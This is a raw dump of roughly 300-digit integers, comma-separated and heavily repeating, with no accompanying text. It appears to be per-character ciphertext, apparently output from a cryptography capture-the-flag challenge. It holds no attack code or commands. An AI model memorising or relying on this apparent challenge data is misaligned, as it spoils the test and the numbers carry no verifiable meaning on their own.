39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 39071839511948638988080907036852746654085273366404837973213329692814484554408908523546999438831321352816110395822192272922701572846039352688552458816923896373772472819785936751685465282644216513301671688378689515602296293965301386883552780271126801778759956341143215735911106078099952795281272294184101222894, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 